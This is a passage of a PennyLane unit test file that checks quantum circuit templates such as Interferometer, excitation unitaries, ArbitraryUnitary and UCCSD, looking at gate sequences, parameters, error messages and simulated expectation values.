DanielPolatajko/pennylane
d603e810a4d34d727a436d852c540fdc0fe21a85
[ "Apache-2.0" ]
1
2021-02-18T02:14:27.000Z
2021-02-18T02:14:27.000Z
tests/templates/test_subroutines.py
markhop20/pennylane
8792f0f88178f70a04d6f7afbbb9dd90d2e758b3
[ "Apache-2.0" ]
null
null
null
tests/templates/test_subroutines.py
markhop20/pennylane
8792f0f88178f70a04d6f7afbbb9dd90d2e758b3
[ "Apache-2.0" ]
null
null
null
# Copyright 2018-2020 Xanadu Quantum Technologies Inc. # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # http://www.apache.org/licenses/LICENSE-2.0 # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """ Unit tests for the :mod:`pennylane.template.subroutines` module. Integration tests should be placed into ``test_templates.py``. """ # pylint: disable=protected-access,cell-var-from-loop import pytest import pennylane as qml import pennylane._queuing from pennylane import numpy as np from pennylane.wires import Wires from pennylane.templates.subroutines import ( Interferometer, ArbitraryUnitary, SingleExcitationUnitary, DoubleExcitationUnitary, UCCSD, ApproxTimeEvolution, Permute, ) from pennylane.templates.subroutines.arbitrary_unitary import ( _all_pauli_words_but_identity, _tuple_to_word, _n_k_gray_code, ) pytestmark = pytest.mark.usefixtures("tape_mode") # fmt: off PAULI_WORD_TEST_DATA = [ (1, ["X", "Y", "Z"]), ( 2, ["XI", "YI", "ZI", "ZX", "IX", "XX", "YX", "YY", "ZY", "IY", "XY", "XZ", "YZ", "ZZ", "IZ"], ), ( 3, [ "XII", "YII", "ZII", "ZXI", "IXI", "XXI", "YXI", "YYI", "ZYI", "IYI", "XYI", "XZI", "YZI", "ZZI", "IZI", "IZX", "XZX", "YZX", "ZZX", "ZIX", "IIX", "XIX", "YIX", "YXX", "ZXX", "IXX", "XXX", "XYX", "YYX", "ZYX", "IYX", "IYY", "XYY", "YYY", "ZYY", "ZZY", "IZY", "XZY", "YZY", "YIY", "ZIY", "IIY", "XIY", "XXY", "YXY", "ZXY", "IXY", "IXZ", "XXZ", "YXZ", "ZXZ", "ZYZ", "IYZ", "XYZ", "YYZ", "YZZ", "ZZZ", "IZZ", "XZZ", "XIZ", "YIZ", "ZIZ", "IIZ", ] ), ] GRAY_CODE_TEST_DATA = [ (2, 2, [[0, 0], [1, 0], [1, 1], [0, 1]]), (2, 3, [[0, 0, 0], [1, 0, 0], [1, 1, 0], [0, 1, 0], [0, 1, 1], [1, 1, 1], [1, 0, 1], [0, 0, 1]]), (4, 2, [ [0, 0], [1, 0], [2, 0], [3, 0], [3, 1], [0, 1], [1, 1], [2, 1], [2, 2], [3, 2], [0, 2], [1, 2], [1, 3], [2, 3], [3, 3], [0, 3] ]), (3, 3, [ [0, 0, 0], [1, 0, 0], [2, 0, 0], [2, 1, 0], [0, 1, 0], [1, 1, 0], [1, 2, 0], [2, 2, 0], [0, 2, 0], [0, 2, 1], [1, 2, 1], [2, 2, 1], [2, 0, 1], [0, 0, 1], [1, 0, 1], [1, 1, 1], [2, 1, 1], [0, 1, 1], [0, 1, 2], [1, 1, 2], [2, 1, 2], [2, 2, 2], [0, 2, 2], [1, 2, 2], [1, 0, 2], [2, 0, 2], [0, 0, 2] ]), ] # fmt: on class TestHelperFunctions: """Test the helper functions used in the layers.""" @pytest.mark.parametrize("n,k,expected_code", GRAY_CODE_TEST_DATA) def test_n_k_gray_code(self, n, k, expected_code): """Test that _n_k_gray_code produces the Gray code correctly.""" for expected_word, word in zip(expected_code, _n_k_gray_code(n, k)): assert expected_word == word @pytest.mark.parametrize("num_wires,expected_pauli_words", PAULI_WORD_TEST_DATA) def test_all_pauli_words_but_identity(self, num_wires, expected_pauli_words): """Test that the correct Pauli words are returned.""" for expected_pauli_word, pauli_word in zip( expected_pauli_words, _all_pauli_words_but_identity(num_wires) ): assert expected_pauli_word == pauli_word @pytest.mark.parametrize( "tuple,expected_word", [ ((0,), "I"), ((1,), "X"), ((2,), "Y"), ((3,), "Z"), ((0, 0, 0), "III"), ((1, 2, 3), "XYZ"), ((1, 2, 3, 0, 0, 3, 2, 1), "XYZIIZYX"), ], ) def test_tuple_to_word(self, tuple, expected_word): assert _tuple_to_word(tuple) == expected_word class TestInterferometer: """Tests for the Interferometer from the pennylane.template.layers module.""" def test_invalid_mesh_exception(self): """Test that Interferometer() raises correct exception when mesh not recognized.""" dev = qml.device("default.gaussian", wires=2) varphi = [0.42342, 0.234] @qml.qnode(dev) def circuit(varphi, mesh=None): Interferometer(theta=[0.21], phi=[0.53], varphi=varphi, mesh=mesh, wires=[0, 1]) return qml.expval(qml.NumberOperator(0)) with pytest.raises(ValueError, match="did not recognize mesh"): circuit(varphi, mesh="a") @pytest.mark.parametrize("mesh", ["rectangular", "triangular"]) def test_invalid_beamsplitter_exception(self, mesh): """Test that Interferometer() raises correct exception when beamsplitter not recognized.""" dev = qml.device("default.gaussian", wires=2) varphi = [0.42342, 0.234] @qml.qnode(dev) def circuit(varphi, bs=None): Interferometer(theta=[0.21], phi=[0.53], varphi=varphi, beamsplitter=bs, mesh=mesh, wires=[0, 1]) return qml.expval(qml.NumberOperator(0)) with pytest.raises(ValueError, match="did not recognize beamsplitter"): circuit(varphi, bs="a") def test_clements_beamsplitter_convention(self, tol): """test the beamsplitter convention""" N = 2 wires = range(N) theta = [0.321] phi = [0.234] varphi = [0.42342, 0.1121] with pennylane._queuing.OperationRecorder() as rec_rect: Interferometer( theta, phi, varphi, mesh="rectangular", beamsplitter="clements", wires=wires ) with pennylane._queuing.OperationRecorder() as rec_tria: Interferometer( theta, phi, varphi, mesh="triangular", beamsplitter="clements", wires=wires ) for rec in [rec_rect, rec_tria]: assert len(rec.queue) == 4 assert isinstance(rec.queue[0], qml.Rotation) assert rec.queue[0].parameters == phi assert isinstance(rec.queue[1], qml.Beamsplitter) assert rec.queue[1].parameters == [theta[0], 0] assert isinstance(rec.queue[2], qml.Rotation) assert rec.queue[2].parameters == [varphi[0]] assert isinstance(rec.queue[3], qml.Rotation) assert rec.queue[3].parameters == [varphi[1]] def test_one_mode(self, tol): """Test that a one mode interferometer correctly gives a rotation gate""" varphi = [0.42342] with pennylane._queuing.OperationRecorder() as rec: Interferometer(theta=[], phi=[], varphi=varphi, wires=0) assert len(rec.queue) == 1 assert isinstance(rec.queue[0], qml.Rotation) assert np.allclose(rec.queue[0].parameters, varphi, atol=tol) def test_two_mode_rect(self, tol): """Test that a two mode interferometer using the rectangular mesh correctly gives a beamsplitter+rotation gate""" N = 2 wires = range(N) theta = [0.321] phi = [0.234] varphi = [0.42342, 0.1121] with pennylane._queuing.OperationRecorder() as rec: Interferometer(theta, phi, varphi, wires=wires) isinstance(rec.queue[0], qml.Beamsplitter) assert rec.queue[0].parameters == theta + phi assert isinstance(rec.queue[1], qml.Rotation) assert rec.queue[1].parameters == [varphi[0]] assert isinstance(rec.queue[2], qml.Rotation) assert rec.queue[2].parameters == [varphi[1]] def test_two_mode_triangular(self, tol): """Test that a two mode interferometer using the triangular mesh correctly gives a beamsplitter+rotation gate""" N = 2 wires = range(N) theta = [0.321] phi = [0.234] varphi = [0.42342, 0.1121] with pennylane._queuing.OperationRecorder() as rec: Interferometer(theta, phi, varphi, mesh="triangular", wires=wires) assert len(rec.queue) == 3 assert isinstance(rec.queue[0], qml.Beamsplitter) assert rec.queue[0].parameters == theta + phi assert isinstance(rec.queue[1], qml.Rotation) assert rec.queue[1].parameters == [varphi[0]] assert isinstance(rec.queue[2], qml.Rotation) assert rec.queue[2].parameters == [varphi[1]] def test_three_mode(self, tol): """Test that a three mode interferometer using either mesh gives the correct gates""" N = 3 wires = range(N) theta = [0.321, 0.4523, 0.21321] phi = [0.234, 0.324, 0.234] varphi = [0.42342, 0.234, 0.1121] with pennylane._queuing.OperationRecorder() as rec_rect: Interferometer(theta, phi, varphi, wires=wires) with pennylane._queuing.OperationRecorder() as rec_tria: Interferometer(theta, phi, varphi, wires=wires) for rec in [rec_rect, rec_tria]: # test both meshes (both give identical results for the 3 mode case). assert len(rec.queue) == 6 expected_bs_wires = [[0, 1], [1, 2], [0, 1]] for idx, op in enumerate(rec_rect.queue[:3]): assert isinstance(op, qml.Beamsplitter) assert op.parameters == [theta[idx], phi[idx]] assert op.wires == Wires(expected_bs_wires[idx]) for idx, op in enumerate(rec.queue[3:]): assert isinstance(op, qml.Rotation) assert op.parameters == [varphi[idx]] assert op.wires == Wires([idx]) def test_four_mode_rect(self, tol): """Test that a 4 mode interferometer using rectangular mesh gives the correct gates""" N = 4 wires = range(N) theta = [0.321, 0.4523, 0.21321, 0.123, 0.5234, 1.23] phi = [0.234, 0.324, 0.234, 1.453, 1.42341, -0.534] varphi = [0.42342, 0.234, 0.4523, 0.1121] with pennylane._queuing.OperationRecorder() as rec: Interferometer(theta, phi, varphi, wires=wires) assert len(rec.queue) == 10 expected_bs_wires = [[0, 1], [2, 3], [1, 2], [0, 1], [2, 3], [1, 2]] for idx, op in enumerate(rec.queue[:6]): assert isinstance(op, qml.Beamsplitter) assert op.parameters == [theta[idx], phi[idx]] assert op.wires == Wires(expected_bs_wires[idx]) for idx, op in enumerate(rec.queue[6:]): assert isinstance(op, qml.Rotation) assert op.parameters == [varphi[idx]] assert op.wires == Wires([idx]) def test_four_mode_triangular(self, tol): """Test that a 4 mode interferometer using triangular mesh gives the correct gates""" N = 4 wires = range(N) theta = [0.321, 0.4523, 0.21321, 0.123, 0.5234, 1.23] phi = [0.234, 0.324, 0.234, 1.453, 1.42341, -0.534] varphi = [0.42342, 0.234, 0.4523, 0.1121] with pennylane._queuing.OperationRecorder() as rec: Interferometer(theta, phi, varphi, mesh="triangular", wires=wires) assert len(rec.queue) == 10 expected_bs_wires = [[2, 3], [1, 2], [0, 1], [2, 3], [1, 2], [2, 3]] for idx, op in enumerate(rec.queue[:6]): assert isinstance(op, qml.Beamsplitter) assert op.parameters == [theta[idx], phi[idx]] assert op.wires == Wires(expected_bs_wires[idx]) for idx, op in enumerate(rec.queue[6:]): assert isinstance(op, qml.Rotation) assert op.parameters == [varphi[idx]] assert op.wires == Wires([idx]) def test_integration(self, tol): """test integration with PennyLane and gradient calculations""" N = 4 wires = range(N) dev = qml.device("default.gaussian", wires=N) sq = np.array( [ [0.8734294, 0.96854066], [0.86919454, 0.53085569], [0.23272833, 0.0113988], [0.43046882, 0.40235136], ] ) theta = np.array([3.28406182, 3.0058243, 3.48940764, 3.41419504, 4.7808479, 4.47598146]) phi = np.array([3.89357744, 2.67721355, 1.81631197, 6.11891294, 2.09716418, 1.37476761]) varphi = np.array([0.4134863, 6.17555778, 0.80334114, 2.02400747]) @qml.qnode(dev) def circuit(theta, phi, varphi): for w in wires: qml.Squeezing(sq[w][0], sq[w][1], wires=w) Interferometer(theta=theta, phi=phi, varphi=varphi, wires=wires) return [qml.expval(qml.NumberOperator(w)) for w in wires] res = circuit(theta, phi, varphi) expected = np.array([0.96852694, 0.23878521, 0.82310606, 0.16547786]) assert np.allclose(res, expected, atol=tol) def test_interferometer_wrong_dim(self): """Integration test for the CVNeuralNetLayers method.""" if not qml.tape_mode_active(): pytest.skip("Validation only performed in tape mode") dev = qml.device("default.gaussian", wires=4) @qml.qnode(dev) def circuit(theta, phi, varphi): Interferometer(theta=theta, phi=phi, varphi=varphi, wires=range(4)) return qml.expval(qml.X(0)) theta = np.array([3.28406182, 3.0058243, 3.48940764, 3.41419504, 4.7808479, 4.47598146]) phi = np.array([3.89357744, 2.67721355, 1.81631197, 6.11891294, 2.09716418, 1.37476761]) varphi = np.array([0.4134863, 6.17555778, 0.80334114, 2.02400747]) with pytest.raises(ValueError, match=r"Theta must be of shape \(6,\)"): wrong_theta = np.array([0.1, 0.2]) circuit(wrong_theta, phi, varphi) with pytest.raises(ValueError, match=r"Phi must be of shape \(6,\)"): wrong_phi = np.array([0.1, 0.2]) circuit(theta, wrong_phi, varphi) with pytest.raises(ValueError, match=r"Varphi must be of shape \(4,\)"): wrong_varphi = np.array([0.1, 0.2]) circuit(theta, phi, wrong_varphi) class TestSingleExcitationUnitary: """Tests for the SingleExcitationUnitary template from the pennylane.templates.subroutine module.""" @pytest.mark.parametrize( ("single_wires", "ref_gates"), [ ( [0, 1, 2], [ [0, qml.RX, [0], [-np.pi / 2]], [1, qml.Hadamard, [2], []], [7, qml.RX, [0], [np.pi / 2]], [8, qml.Hadamard, [2], []], [9, qml.Hadamard, [0], []], [10, qml.RX, [2], [-np.pi / 2]], [16, qml.Hadamard, [0], []], [17, qml.RX, [2], [np.pi / 2]], [4, qml.RZ, [2], [np.pi / 6]], [13, qml.RZ, [2], [-np.pi / 6]], ], ), ( [10, 11], [ [0, qml.RX, [10], [-np.pi / 2]], [1, qml.Hadamard, [11], []], [12, qml.Hadamard, [10], []], [13, qml.RX, [11], [np.pi / 2]], [3, qml.RZ, [11], [np.pi / 6]], [10, qml.RZ, [11], [-np.pi / 6]], ], ), ( [1, 2, 3, 4], [ [2, qml.CNOT, [1, 2], []], [3, qml.CNOT, [2, 3], []], [4, qml.CNOT, [3, 4], []], [6, qml.CNOT, [3, 4], []], [7, qml.CNOT, [2, 3], []], [8, qml.CNOT, [1, 2], []], [13, qml.CNOT, [1, 2], []], [14, qml.CNOT, [2, 3], []], [15, qml.CNOT, [3, 4], []], [17, qml.CNOT, [3, 4], []], [18, qml.CNOT, [2, 3], []], [19, qml.CNOT, [1, 2], []], ], ), ( [10, 11], [ [2, qml.CNOT, [10, 11], []], [4, qml.CNOT, [10, 11], []], [9, qml.CNOT, [10, 11], []], [11, qml.CNOT, [10, 11], []], ], ), ], ) def test_single_ex_unitary_operations(self, single_wires, ref_gates): """Test the correctness of the SingleExcitationUnitary template including the gate count and order, the wires each operation acts on and the correct use of parameters in the circuit.""" sqg = 10 cnots = 4 * (len(single_wires) - 1) weight = np.pi / 3 with pennylane._queuing.OperationRecorder() as rec: SingleExcitationUnitary(weight, wires=single_wires) assert len(rec.queue) == sqg + cnots for gate in ref_gates: idx = gate[0] exp_gate = gate[1] res_gate = rec.queue[idx] assert isinstance(res_gate, exp_gate) exp_wires = gate[2] res_wires = rec.queue[idx]._wires assert res_wires == Wires(exp_wires) exp_weight = gate[3] res_weight = rec.queue[idx].parameters assert res_weight == exp_weight @pytest.mark.parametrize( ("weight", "single_wires", "msg_match"), [ (0.2, [0], "expected at least two wires"), (0.2, [], "expected at least two wires"), ([0.2, 1.1], [0, 1, 2], "Weight must be a scalar"), ], ) def test_single_excitation_unitary_exceptions(self, weight, single_wires, msg_match): """Test that SingleExcitationUnitary throws an exception if ``weight`` or ``single_wires`` parameter has illegal shapes, types or values.""" dev = qml.device("default.qubit", wires=5) def circuit(weight=weight): SingleExcitationUnitary(weight=weight, wires=single_wires) return qml.expval(qml.PauliZ(0)) qnode = qml.QNode(circuit, dev) with pytest.raises(ValueError, match=msg_match): qnode(weight=weight) @pytest.mark.parametrize( ("weight", "single_wires", "expected"), [ (2.21375586, [0, 2], [-0.59956665, 1.0, 0.59956665, -1.0]), (-5.93892805, [1, 3], [1.0, 0.94132639, -1.0, -0.94132639]), ], ) def test_integration(self, weight, single_wires, expected, tol): """Test integration with PennyLane and gradient calculations""" N = 4 wires = range(N) dev = qml.device("default.qubit", wires=N) @qml.qnode(dev) def circuit(weight): init_state = np.array([0, 0, 1, 1], requires_grad=False) qml.BasisState(init_state, wires=wires) SingleExcitationUnitary(weight, wires=single_wires) return [qml.expval(qml.PauliZ(w)) for w in range(N)] res = circuit(weight) assert np.allclose(res, np.array(expected), atol=tol) class TestArbitraryUnitary: """Test the ArbitraryUnitary template.""" def test_correct_gates_single_wire(self): """Test that the correct gates are applied on a single wire.""" weights = np.arange(3, dtype=float) with pennylane._queuing.OperationRecorder() as rec: ArbitraryUnitary(weights, wires=[0]) assert all(op.name == "PauliRot" and op.wires == Wires([0]) for op in rec.queue) pauli_words = ["X", "Y", "Z"] for i, op in enumerate(rec.queue): assert op.data[0] == weights[i] assert op.data[1] == pauli_words[i] def test_correct_gates_two_wires(self): """Test that the correct gates are applied on two wires.""" weights = np.arange(15, dtype=float) with pennylane._queuing.OperationRecorder() as rec: ArbitraryUnitary(weights, wires=[0, 1]) assert all(op.name == "PauliRot" and op.wires == Wires([0, 1]) for op in rec.queue) pauli_words = [ "XI", "YI", "ZI", "ZX", "IX", "XX", "YX", "YY", "ZY", "IY", "XY", "XZ", "YZ", "ZZ", "IZ", ] for i, op in enumerate(rec.queue): assert op.data[0] == weights[i] assert op.data[1] == pauli_words[i] def test_exception_wrong_dim(self): """Verifies that exception is raised if the number of dimensions of features is incorrect.""" if not qml.tape_mode_active(): pytest.skip("This validation is only performed in tape mode") dev = qml.device("default.qubit", wires=2) @qml.qnode(dev) def circuit(weights): ArbitraryUnitary(weights, wires=range(2)) return qml.expval(qml.PauliZ(0)) with pytest.raises(ValueError, match="Weights tensor must be of shape"): weights = np.array([0, 1]) circuit(weights) class TestDoubleExcitationUnitary: """Tests for the DoubleExcitationUnitary template from the pennylane.templates.subroutine module.""" @pytest.mark.parametrize( ("wires1", "wires2", "ref_gates"), [ ( [0, 1, 2], [4, 5, 6], [ [0, qml.Hadamard, [0], []], [1, qml.Hadamard, [2], []], [2, qml.RX, [4], [-np.pi / 2]], [3, qml.Hadamard, [6], []], [9, qml.RZ, [6], [np.pi / 24]], [15, qml.Hadamard, [0], []], [16, qml.Hadamard, [2], []], [17, qml.RX, [4], [np.pi / 2]], [18, qml.Hadamard, [6], []], ], ), ( [0, 1], [4, 5], [ [15, qml.RX, [0], [-np.pi / 2]], [16, qml.Hadamard, [1], []], [17, qml.RX, [4], [-np.pi / 2]], [18, qml.RX, [5], [-np.pi / 2]], [22, qml.RZ, [5], [np.pi / 24]], [26, qml.RX, [0], [np.pi / 2]], [27, qml.Hadamard, [1], []], [28, qml.RX, [4], [np.pi / 2]], [29, qml.RX, [5], [np.pi / 2]], ], ), ( [1, 2, 3], [7, 8, 9, 10, 11], [ [46, qml.Hadamard, [1], []], [47, qml.RX, [3], [-np.pi / 2]], [48, qml.RX, [7], [-np.pi / 2]], [49, qml.RX, [11], [-np.pi / 2]], [57, qml.RZ, [11], [np.pi / 24]], [65, qml.Hadamard, [1], []], [66, qml.RX, [3], [np.pi / 2]], [67, qml.RX, [7], [np.pi / 2]], [68, qml.RX, [11], [np.pi / 2]], ], ), ( [2, 3, 4], [8, 9, 10], [ [57, qml.Hadamard, [2], []], [58, qml.Hadamard, [4], []], [59, qml.Hadamard, [8], []], [60, qml.RX, [10], [-np.pi / 2]], [66, qml.RZ, [10], [np.pi / 24]], [72, qml.Hadamard, [2], []], [73, qml.Hadamard, [4], []], [74, qml.Hadamard, [8], []], [75, qml.RX, [10], [np.pi / 2]], ], ), ( [3, 4, 5], [11, 12, 13, 14, 15], [ [92, qml.RX, [3], [-np.pi / 2]], [93, qml.Hadamard, [5], []], [94, qml.Hadamard, [11], []], [95, qml.Hadamard, [15], []], [103, qml.RZ, [15], [-np.pi / 24]], [111, qml.RX, [3], [np.pi / 2]], [112, qml.Hadamard, [5], []], [113, qml.Hadamard, [11], []], [114, qml.Hadamard, [15], []], ], ), ( [4, 5, 6, 7], [9, 10], [ [95, qml.Hadamard, [4], []], [96, qml.RX, [7], [-np.pi / 2]], [97, qml.Hadamard, [9], []], [98, qml.Hadamard, [10], []], [104, qml.RZ, [10], [-np.pi / 24]], [110, qml.Hadamard, [4], []], [111, qml.RX, [7], [np.pi / 2]], [112, qml.Hadamard, [9], []], [113, qml.Hadamard, [10], []], ], ), ( [5, 6], [10, 11, 12], [ [102, qml.RX, [5], [-np.pi / 2]], [103, qml.RX, [6], [-np.pi / 2]], [104, qml.RX, [10], [-np.pi / 2]], [105, qml.Hadamard, [12], []], [110, qml.RZ, [12], [-np.pi / 24]], [115, qml.RX, [5], [np.pi / 2]], [116, qml.RX, [6], [np.pi / 2]], [117, qml.RX, [10], [np.pi / 2]], [118, qml.Hadamard, [12], []], ], ), ( [3, 4, 5, 6], [17, 18, 19], [ [147, qml.RX, [3], [-np.pi / 2]], [148, qml.RX, [6], [-np.pi / 2]], [149, qml.Hadamard, [17], []], [150, qml.RX, [19], [-np.pi / 2]], [157, qml.RZ, [19], [-np.pi / 24]], [164, qml.RX, [3], [np.pi / 2]], [165, qml.RX, [6], [np.pi / 2]], [166, qml.Hadamard, [17], []], [167, qml.RX, [19], [np.pi / 2]], ], ), ( [6, 7], [8, 9], [ [4, qml.CNOT, [6, 7], []], [5, qml.CNOT, [7, 8], []], [6, qml.CNOT, [8, 9], []], [8, qml.CNOT, [8, 9], []], [9, qml.CNOT, [7, 8], []], [10, qml.CNOT, [6, 7], []], ], ), ( [4, 5, 6, 7], [8, 9, 10, 11, 12, 13], [ [58, qml.CNOT, [4, 5], []], [59, qml.CNOT, [5, 6], []], [60, qml.CNOT, [6, 7], []], [61, qml.CNOT, [7, 8], []], [62, qml.CNOT, [8, 9], []], [63, qml.CNOT, [9, 10], []], [64, qml.CNOT, [10, 11], []], [65, qml.CNOT, [11, 12], []], [66, qml.CNOT, [12, 13], []], [122, qml.CNOT, [12, 13], []], [123, qml.CNOT, [11, 12], []], [124, qml.CNOT, [10, 11], []], [125, qml.CNOT, [9, 10], []], [126, qml.CNOT, [8, 9], []], [127, qml.CNOT, [7, 8], []], [128, qml.CNOT, [6, 7], []], [129, qml.CNOT, [5, 6], []], [130, qml.CNOT, [4, 5], []], ], ), ], ) def test_double_ex_unitary_operations(self, wires1, wires2, ref_gates): """Test the correctness of the DoubleExcitationUnitary template including the gate count and order, the wires each operation acts on and the correct use of parameters in the circuit.""" sqg = 72 cnots = 16 * (len(wires1) - 1 + len(wires2) - 1 + 1) weight = np.pi / 3 with pennylane._queuing.OperationRecorder() as rec: DoubleExcitationUnitary(weight, wires1=wires1, wires2=wires2) assert len(rec.queue) == sqg + cnots for gate in ref_gates: idx = gate[0] exp_gate = gate[1] res_gate = rec.queue[idx] assert isinstance(res_gate, exp_gate) exp_wires = gate[2] res_wires = rec.queue[idx]._wires assert res_wires == Wires(exp_wires) exp_weight = gate[3] res_weight = rec.queue[idx].parameters assert res_weight == exp_weight @pytest.mark.parametrize( ("weight", "wires1", "wires2", "msg_match"), [ (0.2, [0], [1, 2], "expected at least two wires representing the occupied"), (0.2, [0, 1], [2], "expected at least two wires representing the unoccupied"), (0.2, [0], [1], "expected at least two wires representing the occupied"), ([0.2, 1.1], [0, 2], [4, 6], "Weight must be a scalar"), ], ) def test_double_excitation_unitary_exceptions(self, weight, wires1, wires2, msg_match): """Test that DoubleExcitationUnitary throws an exception if ``weight`` or ``pphh`` parameter has illegal shapes, types or values.""" dev = qml.device("default.qubit", wires=10) def circuit(weight=weight): DoubleExcitationUnitary(weight=weight, wires1=wires1, wires2=wires2) return qml.expval(qml.PauliZ(0)) qnode = qml.QNode(circuit, dev) with pytest.raises(ValueError, match=msg_match): qnode(weight=weight) @pytest.mark.parametrize( ("weight", "wires1", "wires2", "expected"), [ (1.34817, [0, 1], [3, 4], [0.22079189, 0.22079189, 1.0, -0.22079189, -0.22079189]), (0.84817, [1, 2], [3, 4], [1.0, 0.66135688, 0.66135688, -0.66135688, -0.66135688]), ], ) def test_integration(self, weight, wires1, wires2, expected, tol): """Test integration with PennyLane and gradient calculations""" N = 5 dev = qml.device("default.qubit", wires=N) @qml.qnode(dev) def circuit(weight): init_state = np.array([0, 0, 0, 1, 1], requires_grad=False) qml.BasisState(init_state, wires=range(N)) DoubleExcitationUnitary(weight, wires1=wires1, wires2=wires2) return [qml.expval(qml.PauliZ(w)) for w in range(N)] res = circuit(weight) assert np.allclose(res, np.array(expected), atol=tol) class TestUCCSDUnitary: """Tests for the UCCSD template from the pennylane.templates.subroutine module.""" @pytest.mark.parametrize( ("s_wires", "d_wires", "weights", "ref_gates"), [ ( [[0, 1, 2]], [], np.array([3.815]), [ [0, qml.BasisState, [0, 1, 2, 3, 4, 5], [np.array([0, 0, 0, 0, 1, 1])]], [1, qml.RX, [0], [-np.pi / 2]], [5, qml.RZ, [2], [1.9075]], [6, qml.CNOT, [1, 2], []], ], ), ( [[0, 1, 2], [1, 2, 3]], [], np.array([3.815, 4.866]), [ [2, qml.Hadamard, [2], []], [8, qml.RX, [0], [np.pi / 2]], [12, qml.CNOT, [0, 1], []], [23, qml.RZ, [3], [2.433]], [24, qml.CNOT, [2, 3], []], [26, qml.RX, [1], [np.pi / 2]], ], ), ( [], [[[0, 1], [2, 3, 4, 5]]], np.array([3.815]), [ [3, qml.RX, [2], [-np.pi / 2]], [29, qml.RZ, [5], [0.476875]], [73, qml.Hadamard, [0], []], [150, qml.RX, [1], [np.pi / 2]], [88, qml.CNOT, [3, 4], []], [121, qml.CNOT, [2, 3], []], ], ), ( [], [[[0, 1], [2, 3]], [[0, 1], [4, 5]]], np.array([3.815, 4.866]), [ [4, qml.Hadamard, [3], []], [16, qml.RX, [0], [-np.pi / 2]], [38, qml.RZ, [3], [0.476875]], [78, qml.Hadamard, [2], []], [107, qml.RX, [1], [-np.pi / 2]], [209, qml.Hadamard, [4], []], [218, qml.RZ, [5], [-0.60825]], [82, qml.CNOT, [2, 3], []], [159, qml.CNOT, [4, 5], []], ], ), ( [[0, 1, 2, 3, 4], [1, 2, 3]], [[[0, 1], [2, 3]], [[0, 1], [4, 5]]], np.array([3.815, 4.866, 1.019, 0.639]), [ [16, qml.RX, [0], [-np.pi / 2]], [47, qml.Hadamard, [1], []], [74, qml.Hadamard, [2], []], [83, qml.RZ, [3], [-0.127375]], [134, qml.RX, [4], [np.pi / 2]], [158, qml.RZ, [5], [0.079875]], [188, qml.RZ, [5], [-0.079875]], [96, qml.CNOT, [1, 2], []], [235, qml.CNOT, [1, 4], []], ], ), ], ) def test_uccsd_operations(self, s_wires, d_wires, weights, ref_gates): """Test the correctness of the UCCSD template including the gate count and order, the wires the operation acts on and the correct use of parameters in the circuit.""" sqg = 10 * len(s_wires) + 72 * len(d_wires) cnots = 0 for s_wires_ in s_wires: cnots += 4 * (len(s_wires_) - 1) for d_wires_ in d_wires: cnots += 16 * (len(d_wires_[0]) - 1 + len(d_wires_[1]) - 1 + 1) N = 6 wires = range(N) ref_state = np.array([1, 1, 0, 0, 0, 0]) with pennylane._queuing.OperationRecorder() as rec: UCCSD(weights, wires, s_wires=s_wires, d_wires=d_wires, init_state=ref_state) assert len(rec.queue) == sqg + cnots + 1 for gate in ref_gates: idx = gate[0] exp_gate = gate[1] res_gate = rec.queue[idx] assert isinstance(res_gate, exp_gate) exp_wires = gate[2] res_wires = rec.queue[idx]._wires assert res_wires == Wires(exp_wires) exp_weight = gate[3] res_weight = rec.queue[idx].parameters if exp_gate != qml.BasisState: assert res_weight == exp_weight else: assert np.allclose(res_weight, exp_weight) @pytest.mark.parametrize( ("weights", "s_wires", "d_wires", "init_state", "msg_match"), [ ( np.array([-2.8]), [[0, 1, 2]], [], np.array([1.2, 1, 0, 0]), "Elements of 'init_state' must be integers", ), ( np.array([-2.8]), [], [], np.array([1, 1, 0, 0]), "s_wires and d_wires lists can not be both empty", ), ( np.array([-2.8]), [], [[[0, 1, 2, 3]]], np.array([1, 1, 0, 0]), "expected entries of d_wires to be of size 2", ), ( np.array([-2.8]), [[0, 2]], [], np.array([1, 1, 0, 0, 0]), "BasisState parameter and wires", ), ( np.array([-2.8, 1.6]), [[0, 1, 2]], [], np.array([1, 1, 0, 0]), "Weights tensor must be of", ), ( np.array([-2.8, 1.6]), [], [[[0, 1], [2, 3]]], np.array([1, 1, 0, 0]), "Weights tensor must be of", ), ( np.array([-2.8, 1.6]), [[0, 1, 2], [1, 2, 3]], [[[0, 1], [2, 3]]], np.array([1, 1, 0, 0]), "Weights tensor must be of", ), ], ) def test_uccsd_xceptions(self, weights, s_wires, d_wires, init_state, msg_match): """Test that UCCSD throws an exception if the parameters have illegal shapes, types or values.""" N = 4 wires = range(4) dev = qml.device("default.qubit", wires=N) def circuit( weights=weights, wires=wires, s_wires=s_wires, d_wires=d_wires, init_state=init_state ): UCCSD( weights=weights, wires=wires, s_wires=s_wires, d_wires=d_wires, init_state=init_state, ) return qml.expval(qml.PauliZ(0)) qnode = qml.QNode(circuit, dev) with pytest.raises(ValueError, match=msg_match): qnode( weights=weights, wires=wires, s_wires=s_wires, d_wires=d_wires, init_state=init_state, ) @pytest.mark.parametrize( ("weights", "s_wires", "d_wires", "expected"), [ ( np.array([3.90575761, -1.89772083, -1.36689032]), [[0, 1, 2], [1, 2, 3]], [[[0, 1], [2, 3]]], [-0.14619406, -0.06502792, 0.14619406, 0.06502792], ) ], ) def test_integration(self, weights, s_wires, d_wires, expected, tol): """Test integration with PennyLane and gradient calculations""" N = 4 wires = range(N) dev = qml.device("default.qubit", wires=N) w0 = weights[0] w1 = weights[1] w2 = weights[2] @qml.qnode(dev) def circuit(w0, w1, w2): UCCSD( [w0, w1, w2], wires, s_wires=s_wires, d_wires=d_wires, init_state=np.array([1, 1, 0, 0]), ) return [qml.expval(qml.PauliZ(w)) for w in range(N)] res = circuit(w0, w1, w2) assert np.allclose(res, np.array(expected), atol=tol) class TestApproxTimeEvolution: """Tests for the ApproxTimeEvolution template from the pennylane.templates.subroutine module.""" def test_hamiltonian_error(self): """Tests if the correct error is thrown when hamiltonian is not a pennylane.Hamiltonian object""" n_wires = 2 dev = qml.device("default.qubit", wires=n_wires) hamiltonian = np.array([[1, 1], [1, 1]]) @qml.qnode(dev) def circuit(): ApproxTimeEvolution(hamiltonian, 2, 3) return [qml.expval(qml.PauliZ(wires=i)) for i in range(n_wires)] with pytest.raises(ValueError, match="hamiltonian must be of type pennylane.Hamiltonian"): 